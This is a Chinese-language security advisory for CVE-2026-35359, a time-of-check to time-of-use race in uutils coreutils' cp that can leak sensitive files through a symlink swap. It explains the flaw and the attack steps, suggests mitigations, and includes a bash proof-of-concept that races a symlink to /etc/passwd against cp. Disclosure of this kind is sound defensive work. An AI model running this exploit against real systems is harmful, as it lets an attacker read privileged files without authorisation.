IPBUF安全漏洞报告
English
CVE-2026-35359 CVSS 4.7 中危

CVE-2026-35359: uutils coreutils cp TOCTOU漏洞

披露日期: 2026-04-22

漏洞信息

漏洞编号
CVE-2026-35359
漏洞类型
TOCTOU竞争条件
CVSS评分
4.7 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
uutils coreutils

相关标签

TOCTOU竞争条件uutils coreutils符号链接本地漏洞信息泄露

漏洞概述

uutils coreutils的cp实用程序存在Time-of-Check to Time-of-Use (TOCTOU)漏洞。由于程序在检查源路径是否为符号链接时使用基于路径的元数据,但随后未使用O_NOFOLLOW标志打开文件,攻击者若拥有并发写权限,可在此时间窗口内将普通文件替换为符号链接。这使得特权cp进程可能将任意敏感文件内容复制到攻击者控制的位置,导致高机密性影响。

技术细节

该漏洞源于经典的TOCTOU(竞态条件)设计缺陷。在uutils coreutils的cp工具中,当处理“不跟随符号链接”的逻辑时,程序首先使用基于路径的元数据(如lstat)检查源文件是否为符号链接。然而,在随后的操作中,程序打开文件时未设置O_NOFOLLOW标志。这就产生了一个时间窗口。如果攻击者拥有并发写权限,可以在检查通过后、文件打开前的瞬间,将原本的普通文件替换为指向敏感文件的符号链接。由于打开操作未禁止跟随链接,cp进程将读取并复制符号链接指向的敏感内容,而非原定文件,从而绕过安全限制导致信息泄露。

攻击链分析

STEP 1
步骤1:环境准备
攻击者确保自己对包含源文件的目录拥有并发写权限,并准备好指向敏感文件(如/etc/passwd)的符号链接。
STEP 2
步骤2:监控或触发
攻击者等待或诱导特权进程调用cp命令对特定文件进行复制操作。
STEP 3
步骤3:竞态利用
在cp进程执行检查(lstat确认是否为符号链接)与实际打开文件之间的微小时间窗口内,攻击者迅速将源文件替换为指向敏感文件的符号链接。
STEP 4
步骤4:数据泄露
由于cp打开文件时未使用O_NOFOLLOW标志,系统跟随了攻击者设置的符号链接,将敏感文件内容读取并写入到攻击者控制的目的地。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # PoC for CVE-2026-35359: TOCTOU vulnerability in uutils coreutils cp # This script demonstrates the race condition by attempting to swap a file with a symlink. SENSITIVE_FILE="/etc/passwd" DEST_DIR="./attacker_controlled_dest" SOURCE_FILE="./source_file" # Setup directories and files mkdir -p "$DEST_DIR" echo "Initial safe content" > "$SOURCE_FILE" # Attacker loop: Continuously swap the file to create the race window ( while true; do # Swap to symlink pointing to sensitive file ln -sf "$SENSITIVE_FILE" "$SOURCE_FILE" # Swap back to regular file to avoid detection (optional) echo "safe content" > "$SOURCE_FILE" done ) & ATTACKER_PID=$! # Victim process: Simulate a privileged cp operation # In a real scenario, this might be a cron job or system script for i in {1..100}; do # The vulnerable cp checks path but opens without O_NOFOLLOW cp "$SOURCE_FILE" "$DEST_DIR/copied_data_$i" # Check if we grabbed the sensitive data if grep -q "root:" "$DEST_DIR/copied_data_$i" 2>/dev/null; then echo "[+] Success! Sensitive data copied to $DEST_DIR/copied_data_$i" break fi done # Cleanup kill $ATTACKER_PID 2>/dev/null rm -f "$SOURCE_FILE"

影响范围

uutils coreutils (修复CVE-2026-35359前的版本)

防御指南

临时缓解措施
建议立即升级官方发布的修复版本。若无法立即升级,应严格限制对涉及cp操作源文件目录的并发写权限,避免非特权用户在cp操作期间修改文件系统状态,从而阻断竞态条件利用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表